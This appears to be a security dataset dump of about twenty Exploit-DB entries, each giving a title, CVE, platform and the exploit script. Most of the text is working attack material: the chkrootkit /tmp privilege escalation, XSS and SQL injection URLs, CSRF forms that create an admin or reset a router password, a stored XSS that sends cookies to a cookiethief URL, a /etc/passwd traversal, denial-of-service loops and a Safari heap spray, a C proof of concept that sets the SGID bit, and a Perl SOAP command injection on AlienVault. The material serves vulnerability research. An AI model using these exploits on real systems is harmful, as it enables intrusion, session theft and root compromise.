QLWD/code_shield huggingface dataset:
标题: Chkrootkit 0.49 - Local Privilege Escalation EDB-ID: 33899 CVE: 2014-0476 类型: LOCAL 平台: LINUX 发布日期: 2014-06-28 漏洞利用脚本: We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the
shellscript chkrootkit:

#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}


The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.


Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"


I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there. URL: https://www.exploit-db.com/exploits/33899
标题: Zikula Application Framework 1.2.2 - 'index.php?func' Cross-Site Scripting EDB-ID: 33885 CVE: 2010-1724 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/39717/info
 
Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Zikula Application Framework 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=adminpanel&type=admin&func=adminpanel&lang=en%27%22%3E%3Cimg%20src=0%20onerror=alert%28document.cookie%29%3E URL: https://www.exploit-db.com/exploits/33885
标题: WordPress Plugin Simple Share Buttons Adder 4.4 - Multiple Vulnerabilities EDB-ID: 33896 CVE: 2014-4717 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-27 漏洞利用脚本: Details
================
Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/
Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
================
CSRF and stored XSS in Simple Share Buttons Adder 4.4

Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.


Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
    <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
    <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
    <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
    <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
    <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
    <input type=\"submit\">
</form>

Mitigations
================
Immediately upgrade to version 4.5 or greater.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5

 


Discovered by dxw:
================
Duncan Stuart
Please visit security.dxw.com for more information. URL: https://www.exploit-db.com/exploits/33896
标题: Zikula Application Framework 1.2.2 - 'ZLanguage.php?lang' Cross-Site Scripting EDB-ID: 33884 CVE: 2010-1724 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/39717/info

Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Zikula Application Framework 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/?lang=en%27%22%3E%3Cimg%20src=0%20onerror=alert%28document.cookie%29%3E URL: https://www.exploit-db.com/exploits/33884
标题: Linux Kernel 2.6.34 - 'find_keyring_by_name()' Local Memory Corruption EDB-ID: 33886 CVE: 2010-1437 类型: DOS 平台: LINUX 发布日期: 2010-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/39719/info

The Linux kernel is prone to a local memory-corruption vulnerability.

Attackers can exploit this issue to crash the affected computer, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

kernel 2.6.34-rc5 is vulnerable.

The following proof-of-concept is available:

for ((i=0; i<100000; i++)); do keyctl session wibble /bin/true || break; done URL: https://www.exploit-db.com/exploits/33886
标题: Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure EDB-ID: 33868 CVE: 2010-1587 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/39636/info

Apache ActiveMQ is prone to a vulnerability that lets attackers access source code because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable computer in the context of the webserver process. Information obtained may aid in further attacks.

Apache ActiveMQ 5.3.1 and prior are vulnerable.

NOTE: This vulnerability may be related to BID 27117 (Jetty Double Slash URI Information Disclosure Vulnerability).

http://www.example.com:8161//admin/index.jsp
http://www.example.com:8161//admin/queues.jsp
http://www.example.com:8161//admin/topics.jsp URL: https://www.exploit-db.com/exploits/33868
标题: HP System Management Homepage - 'RedirectUrl' Open Redirection EDB-ID: 33873 CVE: 2010-1586 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/39676/info

HP System Management Homepage is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

http://www.example.com/red2301.html?RedirectUrl=evil () attacker com URL: https://www.exploit-db.com/exploits/33873
标题: FlashCard 2.6.5 - 'id' Cross-Site Scripting EDB-ID: 33870 CVE: 2010-1872 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/39648/info

FlashCard is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

FlashCard 2.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/flashcard/stateless/cPlayer.php?id="><iframe
src=http://www.google.de URL: https://www.exploit-db.com/exploits/33870
标题: memcached 1.4.2 - Memory Consumption Remote Denial of Service EDB-ID: 33850 CVE: 2010-1152 类型: DOS 平台: LINUX 发布日期: 2010-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/39577/info

memcached is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to allocate large amount of memory, hanging or crashing the application.

memcached versions prior to 1.4.3 are affected. 

cat /dev/zero | nc -q1 127.0.0.1 11211 URL: https://www.exploit-db.com/exploits/33850
标题: MIT Kerberos 5 - 'src/kdc/do_tgs_req.c' Ticket Renewal Double-Free Memory Corruption EDB-ID: 33855 CVE: 2010-1320 类型: REMOTE 平台: LINUX 发布日期: 2010-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/39599/info

MIT Kerberos is prone to a remote memory-corruption vulnerability.

An authenticated attacker can exploit this issue by sending specially crafted ticket-renewal requests to a vulnerable computer.

Successfully exploiting this issue can allow the attacker to execute arbitrary code with superuser privileges, completely compromising the affected computer. Failed exploit attempts will result in a denial-of-service condition. 

The following proof-of-concept command is available:

% kinit -R

We currently are unaware of any exploits that result in code-execution. URL: https://www.exploit-db.com/exploits/33855
标题: Thomson TWG87OUIR - POST Password Cross-Site Request Forgery EDB-ID: 33866 CVE: 2014-4716 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-06-25 漏洞利用脚本: #Author: nopesled
#Date: 24/06/14
#Vulnerability: POST Password Reset CSRF
#Tested on: Thomson TWG87OUIR (Hardware Version)

<html>
<head>
 <title>Thomson TWG87OUIR CSRF</title>
</head>
<body>
     <form name="exploit" method="post"
 action="http://192.168.0.1/goform/RgSecurity">
 <input type="hidden" name="HttpUserId" value="" />
 <input type="hidden" name="Password" value="newpass" />
 <input type="hidden" name="PasswordReEnter" value="newpass" />
 <input type="hidden" name="RestoreFactoryNo" value-="0x00" />
     </form>
     <script type="text/javascript">
 document.exploit.submit();
     </script>
</body>
</html> URL: https://www.exploit-db.com/exploits/33866
标题: Lunar CMS 3.3 - Cross-Site Request Forgery / Persistent Cross-Site Scripting EDB-ID: 33830 CVE: 2014-4718 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-21 漏洞利用脚本: <!--

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability


Vendor: Lunar CMS
Product web page: http://www.lunarcms.com
Affected version: 3.3

Summary: Lunar CMS is a freely distributable open sourcecontent
management system written for use on servers running the ever so
popular PHP5 & MySQL.

Desc: Lunar CMS suffers from a cross-site request forgery and a
stored xss vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'subject' and 'email'
POST parameters thru the 'Contact Form' extension/module is not properly
sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5188
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5188.php


11.06.2014

-->



CSRF Add Admin
===============

<html>
  <body>
    <form action="http://localhost/lunarcms/admin/user_create.php" method="POST">
      <input type="hidden" name="name" value="Hacker" />
      <input type="hidden" name="email" value="lab@zeroscience.mk" />
      <input type="hidden" name="password1" value="251ftw" />
      <input type="hidden" name="password2" value="251ftw" />
      <input type="hidden" name="access" value="0" />
      <input type="hidden" name="Submit" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Access levels:

0: Super user
1: Admin
2: Website only



CSRF Stored XSS (Session Hijack)
=================================

<html>
  <body>
    <form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&top" method="POST">
      <input type="hidden" name="email" value='"><script>alert(1);</script>' />
      <input type="hidden" name="error" value="2" />
      <input type="hidden" name="sent" value="1" />
      <input type="hidden" name="subject" value='"><script>var x = new Image();x.src='http://www.example.com/cookiethief.php?cookie='+document.cookie;</script>' />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/33830
标题: TANDBERG Video Communication Server 4.2.1/4.3.0 - Multiple Remote Vulnerabilities EDB-ID: 33832 CVE: 2009-4511 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/39389/info

TANDBERG Video Communication Server is prone to multiple remote vulnerabilities, including:

1. A file-disclosure vulnerability.
2. A security vulnerability that may allow attackers to conduct server impersonation and man-in-middle attacks.
3. An authentication-bypass vulnerability.

An attacker can exploit these issues to gain unauthorized access to the affected device and to gain access to sensitive information. Other attacks are also possible.

Firmware versions prior to TANDBERG Video Communication Server 5.1.1 are vulnerable. 

https://www.example.com/helppage.php?page=../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/33832
标题: D-Link DSL-2760U-E1 - Persistent Cross-Site Scripting EDB-ID: 33822 CVE: 2014-4645 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-06-21 漏洞利用脚本: #!/bin/bash

# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname, 
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. 

# Checks if you are root
if [ "$(id -u)" != "0" ]; then
 echo "Please execute this script as root"
 exit 1
fi 

# You're XSS here
xss = "\"<script>alert('pwned');</script>"

# backup current hostname
currhost = `hostname`

# Bannering
echo ""
echo "  D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""

# Change hostname to XSS
sudo hosname $xss

# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost URL: https://www.exploit-db.com/exploits/33822
标题: Joomla! Component com_weblinks - 'id' SQL Injection EDB-ID: 33812 CVE: 2010-2679 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/39032/info

The 'com_weblinks' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_weblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 URL: https://www.exploit-db.com/exploits/33812
标题: Piwik 0.5.5 - 'form_url' Cross-Site Scripting EDB-ID: 33814 CVE: 2010-1453 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/39144/info

Piwik is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Piwik 0.6 are vulnerable. 

http://www.example.com/index.php?form_url=>"> URL: https://www.exploit-db.com/exploits/33814
标题: Apple Safari iPhone/iPod touch - Webpage Remote Code Execution EDB-ID: 33811 CVE: 2010-1177 类型: REMOTE 平台: OSX 发布日期: 2010-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/38994/info

Apple Safari running on iPhone and iPod touch is prone to a remote code-execution vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions.

Safari on Apple iPhone and iPod touch 3.1.3 and prior are vulnerable. 

<html> <head> <script language="JavaScript" type="Text/Javascript"> var slope = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); var slope2 = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); var finalslope2 = expand(slope2, 49000000); var finalslope = expand(slope, 21000000); document.write(finalslope2); document.write(finalslope); function expand (slope, size) { var i = Math.ceil(Math.log(size) / Math.LN2), res = slope; do { res += res; } while (0 < --i); return res.slice(0, slope.length * size); } </script> </head> <body> </body> </html> <html><body><center><h1> Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body></html> URL: https://www.exploit-db.com/exploits/33811
标题: Linux Kernel 3.13 - SGID Privilege Escalation EDB-ID: 33824 CVE: 2014-4014 类型: LOCAL 平台: LINUX 发布日期: 2014-06-21 漏洞利用脚本: /**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 * 
 * where file_path is the file on which you want to set the sgid bit
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

struct args {
    int pipe_fd[2];
    char *file_path;
};

static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;

    // close stdout
    close(f_args->pipe_fd[1]); 

    assert(read(f_args->pipe_fd[0], &c, 1) == 0);

    // set the setgid bit
    chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);

    return 0;
}

int main(int argc, char *argv[]) {
    int fd;
    pid_t pid;
    char mapping[1024];
    char map_file[PATH_MAX];
    struct args f_args;

    assert(argc == 2);

    f_args.file_path = argv[1];
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);

    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);

    // get the current uid outside the namespace
    snprintf(mapping, 1024, "0 %d 1\n", getuid()); 

    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);

    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd[1]);

    assert (waitpid(pid, NULL, 0) != -1);
} URL: https://www.exploit-db.com/exploits/33824
标题: Cacti Superlinks Plugin 1.4-2 - SQL Injection EDB-ID: 33809 CVE: 2014-4644 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-18 漏洞利用脚本: $$$$$$\      $$\   $$\     $$$$$$\  
$$  __$$\     $$ |  $$ |   $$  __$$\ 
$$ /  \__|    $$ |  $$ |   $$ /  \__|
$$ |$$$$\     $$$$$$$$ |   \$$$$$$\  
$$ |\_$$ |    $$  __$$ |    \____$$\ 
$$ |  $$ |    $$ |  $$ |   $$\   $$ |
\$$$$$$  |$$\ $$ |  $$ |$$\\$$$$$$  |
 \______/ \__|\__|  \__|\__|\______/ 
 
# Exploit Title: Cacti - Superlinks Plugin SQL Injection
# Google Dork: inurl:"/cacti/plugins/superlinks/"
# Date: 18/06/2014
# Exploit Author: Napsterakos
# Software Link: http://docs.cacti.net/plugin:superlinks


Link: http://localhost/cacti/plugins/superlinks/

Exploit: http://localhost/cacti/plugins/superlinks/superlinks.php?id=[SQLi]

Credits to: Greek Hacking Scene URL: https://www.exploit-db.com/exploits/33809
标题: Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution EDB-ID: 33805 CVE: 2014-3805 类型: REMOTE 平台: LINUX 发布日期: 2014-06-18 漏洞利用脚本: # Exploit Title: AlienVault OSSIM < 4.7.0 av-centerd 'get_log_line()' Remote Code Execution
# Date: 06/17/2014
# Exploit Author: Alfredo Ramirez
# Vendor Homepage: http://www.alienvault.com/
# Software Link: http://www.alienvault.com/open-threat-exchange/projects
# Version: < 4.7.0
# Tested on: Debian/Virtual Appliance
# CVE : CVE-2014-3805

 #!perl -w

  use SOAP::Lite;

  # SSL is self-signed so we have to ignore verification.
  $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;

  # We simply append the 'id' command to the number of log we want to
  # read.
  @soap_response = SOAP::Lite
    -> uri('AV/CC/Util')
    -> proxy('https://172.26.22.2:40007/av-centerd')
    -> get_log_line('All', '423d7bea-cfbc-f7ea-fe52-272ff7ede3d2' ,'172.26.22.1', 'test', '/var/log/auth.log', '1;id;')
    -> result;

  for (@{ $soap_response[0] }) {
   print "$_\n";
  }

  # If vulnerable output will be: uid=0(root) gid=0(root) groups=0(root) URL: https://www.exploit-db.com/exploits/33805